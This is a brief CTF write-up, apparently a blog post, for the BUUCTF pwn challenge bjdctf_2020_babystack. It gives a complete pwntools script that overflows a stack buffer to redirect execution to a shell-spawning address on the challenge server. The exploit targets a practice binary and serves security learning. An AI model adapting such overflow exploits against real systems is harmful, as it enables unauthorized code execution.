BUUCTF(pwn)bjdctf_2020_babystack

from pwn import *
p = remote("node3.buuoj.cn",27955)
sys = 0x04006E6
p.sendlineafter("[+]Please input the length of your name:\n",'200')
payload = 'a' * (0x10 + 0x8) + p64(sys) 
p.sendlineafter("[+]What's u name?\n",payload)
p.interactive()

有疑问的欢迎留言∑